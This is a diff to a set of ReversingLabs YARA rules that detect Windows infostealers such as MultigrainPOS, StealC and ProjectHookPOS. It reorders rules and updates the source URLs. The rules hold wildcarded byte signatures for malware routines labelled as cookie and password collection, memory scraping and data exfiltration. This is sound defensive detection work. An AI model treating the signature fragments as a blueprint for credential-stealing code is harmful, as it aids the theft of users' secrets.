+            4D ?? FF 15 ?? ?? ?? ?? 4C 8B E0 BA ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B
+            E8 48 85 F6 75 ?? 48 85 FF 75 ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48
+            FF C1 80 3C 0E ?? 75 ?? 48 85 C9 75 ?? 48 C7 C0 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ??
+            48 FF C0 80 3C 07 ?? 75 ?? 48 85 C0 75 ?? 48 C7 C0 ?? ?? ?? ?? 48 FF C0 80 3C 03 ??
+            75 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 45 85 ED 0F 8E ?? ??
+            ?? ?? 48 C7 C0 ?? ?? ?? ?? 48 FF C0 80 3C 03 ?? 75 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 8B D6 E8 ?? ??
+            ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 8B C8 48 8B D7 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 0F 10 30
+            45 33 ED 4C 89 6C 24 ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 49 C7
+            C0 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 49 FF C0 46 38 2C 03 75 ?? 48 8B D3 48 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 0F 29 74 24 ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ??
+            ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? 48 83
+            7D ?? ?? 48 0F 47 55 ?? 4C 8B 45 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 49 8B D7 E8 ?? ??
+            ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 8B C8 49 8B D4 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 E8
+        }
+		$collect_cookies_p3 = {
+            49 C7 C0 ?? ?? ?? ?? 90 49 FF C0 42 80 3C 06 ?? 75 ?? 48 8B D6 48 8D 4D ?? E8 ?? ??
+            ?? ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 00 49 FF C0 42 80 3C 07 ?? 75 ?? 48 8B D7 48 8D 4D
+            ?? E8 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 00 49 FF C0 43 80 3C 07 ?? 75 ?? 49 8B
+            D7 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 49 FF C0 43 80 3C 04 ??
+            75 ?? 49 8B D4 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? 48 83 7D ?? ?? 48 0F
+            47 55 ?? 4C 8B 45 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 49 8B 56 ?? 4C 8D 45 ?? 49 3B 56 ??
+            74 ?? E8 ?? ?? ?? ?? 49 8B 56 ?? 4C 8B C2 49 8B CE E8 ?? ?? ?? ?? 49 81 46 ?? ?? ??
+            ?? ?? EB ?? 49 8B CE E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83
+            F8 ?? 76 ?? 49 FF C0 48 8B 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 89 6D ?? 48 C7 45 ??
+            ?? ?? ?? ?? C6 45 ?? ?? 48 8B 4D ?? 4C 89 6D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48
+            8D 4D ?? E8 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33
+            FF 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45 ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 55 ?? 48
+            8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 12 00 48 8B 4D ?? F3 0F 7F 45 ?? C6 45 ??
+            ?? 48 89 7D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B 45
+            ?? 49 83 F8 ?? 76 ?? 49 FF C0 48 8B 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ??
+            ?? 12 00 48 8B 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 48 89 7D ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 90 49 8B C6 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
+            ?? 0F 28 B4 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($network_communication) and ( all of ($find_sensitive_files_p*)) and ( all of ($parse_firefox_configuration_p*)) and ( all of ($collect_browser_passwords_p*)) and ( all of ($collect_cookies_p*)))
+}
+rule REVERSINGLABS_Win32_Infostealer_Multigrainpos : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects MultigrainPOS infostealer."
+		author = "ReversingLabs"
+		id = "595c04af-802f-556d-b22b-23cac79b256e"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/infostealer/Win32.Infostealer.MultigrainPOS.yara#L1-L88"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "9808c95b850a54677c4132057b8372cabf0159920b7e0e6834a83f0d39c088fa"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Infostealer"
+		tc_detection_name = "MultigrainPOS"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$data_exfiltration_v10_1 = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 1D ?? ?? ?? ?? 56 57 8B 3D ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F
+            43 45 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81
+            FE ?? ?? ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 75 ?? 83 7D ?? ?? 5F 5E 5B 72 ?? FF 75 ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 CD B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ??
+            FF 75 ?? FF D7 68 ?? ?? ?? ?? FF D3 EB
+        }
+		$memory_scraping_v10_1 = {
+            6A ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? 8B 8D ?? ??
+            ?? ?? EB ?? 3C ?? 7C ?? 3C ?? 7E ?? 8A 46 ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 74
+        }
+		$process_search_v10_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 1D ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? 8D
+            85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75
+        }
+		$service_creation_v10_1 = {
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 5E 8B 4C 24 ?? 33 CC E8 ?? ??
+            ?? ?? 8B E5 5D C3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            FF 15
+        }
+		$process_search_v11_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8B 7D ?? FF 15 ??
+            ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 8D 49 ?? 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ??
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF D3 EB ?? 8D 8D
+            ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 66 89
+            85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C9 EB ?? 8D A4 24 ??
+            ?? ?? ?? EB ?? 8D 49 ?? 0F B7 84 0D ?? ?? ?? ?? 66 89 84 0D ?? ?? ?? ?? 8D 49 ?? 66
+            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+        }
+		$memory_scraping_v11_1 = {
+            6A ?? 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 6A ??
+            56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8
+        }
+		$data_exfiltration_v11_1 = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8A 5D ?? 56 57 8B 3D ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F 43 45 ??
+            6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 FE ?? ??
+            ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 74 ?? 84 DB 74 ?? 33 F6 83 7D ?? ?? 72 ?? FF 75 ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ??
+            FF 75 ?? FF D7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 84 DB 74 ?? EB ?? BE ?? ?? ?? ?? EB
+        }
+		$service_creation_v11_1 = {
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 4C 24 ?? 33 CC E8 ?? ?? ??
+            ?? 8B E5 5D C3 8D 44 24 ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($data_exfiltration_v10_1 and $memory_scraping_v10_1 and $process_search_v10_1 and $service_creation_v10_1) or ($process_search_v11_1 and $memory_scraping_v11_1 and $data_exfiltration_v11_1 and $service_creation_v11_1))
+}
 rule REVERSINGLABS_Win32_Infostealer_Lumarstealer : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
@@ -201,8 +1136,8 @@ rule REVERSINGLABS_Win32_Infostealer_Lumarstealer : TC_DETECTION MALICIOUS MALWA
 		date = "2023-12-07"
 		modified = "2023-12-07"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/infostealer/Win32.Infostealer.LumarStealer.yara#L1-L190"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/infostealer/Win32.Infostealer.LumarStealer.yara#L1-L190"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0bc9e12396b1e85f69b965e9ea50960c59c50aba40317fb4de8f6abd092ec7d2"
 		score = 75
 		quality = 90
@@ -367,141 +1302,6 @@ rule REVERSINGLABS_Win32_Infostealer_Lumarstealer : TC_DETECTION MALICIOUS MALWA
 	condition:
 		uint16(0)==0x5A4D and ( all of ($collect_os_information_p*)) and ( all of ($send_data_to_c2_p*)) and ( all of ($find_files_p*)) and ( all of ($find_crypto_wallets_*))
 }
-rule REVERSINGLABS_Win32_Infostealer_Multigrainpos : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects MultigrainPOS infostealer."
-		author = "ReversingLabs"
-		id = "595c04af-802f-556d-b22b-23cac79b256e"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/infostealer/Win32.Infostealer.MultigrainPOS.yara#L1-L88"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "9808c95b850a54677c4132057b8372cabf0159920b7e0e6834a83f0d39c088fa"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Infostealer"
-		tc_detection_name = "MultigrainPOS"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$data_exfiltration_v10_1 = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 1D ?? ?? ?? ?? 56 57 8B 3D ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F
-            43 45 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81
-            FE ?? ?? ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 75 ?? 83 7D ?? ?? 5F 5E 5B 72 ?? FF 75 ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 CD B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ??
-            FF 75 ?? FF D7 68 ?? ?? ?? ?? FF D3 EB
-        }
-		$memory_scraping_v10_1 = {
-            6A ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? 8B 8D ?? ??
-            ?? ?? EB ?? 3C ?? 7C ?? 3C ?? 7E ?? 8A 46 ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 74
-        }
-		$process_search_v10_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 1D ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? 8D
-            85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75
-        }
-		$service_creation_v10_1 = {
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 5E 8B 4C 24 ?? 33 CC E8 ?? ??
-            ?? ?? 8B E5 5D C3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            FF 15
-        }
-		$process_search_v11_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8B 7D ?? FF 15 ??
-            ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 8D 49 ?? 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ??
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF D3 EB ?? 8D 8D
-            ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 66 89
-            85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C9 EB ?? 8D A4 24 ??
-            ?? ?? ?? EB ?? 8D 49 ?? 0F B7 84 0D ?? ?? ?? ?? 66 89 84 0D ?? ?? ?? ?? 8D 49 ?? 66
-            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-        }
-		$memory_scraping_v11_1 = {
-            6A ?? 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 6A ??
-            56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8
-        }
-		$data_exfiltration_v11_1 = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8A 5D ?? 56 57 8B 3D ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F 43 45 ??
-            6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 FE ?? ??
-            ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 74 ?? 84 DB 74 ?? 33 F6 83 7D ?? ?? 72 ?? FF 75 ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ??
-            FF 75 ?? FF D7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 84 DB 74 ?? EB ?? BE ?? ?? ?? ?? EB
-        }
-		$service_creation_v11_1 = {
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 4C 24 ?? 33 CC E8 ?? ?? ??
-            ?? 8B E5 5D C3 8D 44 24 ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15
-        }
-
-	condition:
-		uint16(0)==0x5A4D and (($data_exfiltration_v10_1 and $memory_scraping_v10_1 and $process_search_v10_1 and $service_creation_v10_1) or ($process_search_v11_1 and $memory_scraping_v11_1 and $data_exfiltration_v11_1 and $service_creation_v11_1))
-}
-rule REVERSINGLABS_Win32_Infostealer_Stealc : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects StealC infostealer."
-		author = "ReversingLabs"
-		id = "b53bbf15-3e94-513c-91a9-83dda421063b"
-		date = "2023-06-07"
-		modified = "2023-06-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/infostealer/Win32.Infostealer.StealC.yara#L1-L57"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "bea1cf370150387eb185deff726e10e660e7eb571c20d22878def08b36f457bf"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Infostealer"
-		tc_detection_name = "StealC"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$resolve_windows_api = {
-            55 8B EC 51 83 65 ?? ?? 56 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 00 8B 40 ??
-            89 45 ?? 8B 75 ?? 89 35 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35
-        }
-		$load_sqlite3_functions = {
-            55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 50 89 45 ?? 89 4D ?? 8B 4D ?? 8D
-            45 ?? 50 89 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 45 ?? 57 89 45 ?? 8B 7D ??
-            B9 ?? ?? ?? ?? 33 C0 F3 AA 5F 33 C0 C9 C3 8B 45 ?? 85 C0 74 ?? 53 8B 58 ?? 56 8B 70
-            ?? FF 35 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ??
-            A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ??
-            ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3
-        }
-		$check_license_expiration_date = {
-            55 8B EC 83 E4 ?? 83 EC ?? 57 33 C0 66 89 44 24 ?? 83 64 24 ?? ?? 8D 7C 24 ?? AB AB
-            AB 66 AB 33 C0 66 89 44 24 ?? 8D 7C 24 ?? AB AB AB 66 AB 33 C0 21 44 24 ?? 8D 7C 24
-            ?? AB 8D 7C 24 ?? AB 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 8D
-            4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ??
-            8B 44 24 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ??
-            8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 3B 44 24 ?? 72 ?? 77 ??
-            8B 44 24 ?? 3B 44 24 ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 8B E5 5D C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($resolve_windows_api) and ($load_sqlite3_functions) and ($check_license_expiration_date)
-}
 rule REVERSINGLABS_Win32_Infostealer_Projecthookpos : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
@@ -511,8 +1311,8 @@ rule REVERSINGLABS_Win32_Infostealer_Projecthookpos : TC_DETECTION MALICIOUS MAL
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/infostealer/Win32.Infostealer.ProjectHookPOS.yara#L1-L98"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/infostealer/Win32.Infostealer.ProjectHookPOS.yara#L1-L98"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7534c9e905256aaf80f04b746a92c50689437b288f7e393ef13fde1740c4a4e"
 		score = 75
 		quality = 90
@@ -597,874 +1397,127 @@ rule REVERSINGLABS_Win32_Infostealer_Projecthookpos : TC_DETECTION MALICIOUS MAL
 	condition:
 		uint16(0)==0x5A4D and ($calc_luhn and $track_1_reverse and $check_validity_1 and $encode_and_send_1 and $form_create_1 and $form_create_2 and $form_create_3)
 }
-rule REVERSINGLABS_Win32_Trojan_Emotet : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Infostealer_Stealc : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Emotet trojan."
+		description = "Yara rule that detects StealC infostealer."
 		author = "ReversingLabs"
-		id = "9742743d-753a-582b-9701-7278c8ed0e4e"
-		date = "2021-11-16"
-		modified = "2021-11-16"
+		id = "b53bbf15-3e94-513c-91a9-83dda421063b"
+		date = "2023-06-07"
+		modified = "2023-06-07"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.Emotet.yara#L1-L182"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "747d603c9849a66782c95050a4a634ffdb4ce2882adcfc5d63e1f1ea1651b25e"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/infostealer/Win32.Infostealer.StealC.yara#L1-L57"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "bea1cf370150387eb185deff726e10e660e7eb571c20d22878def08b36f457bf"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "Emotet"
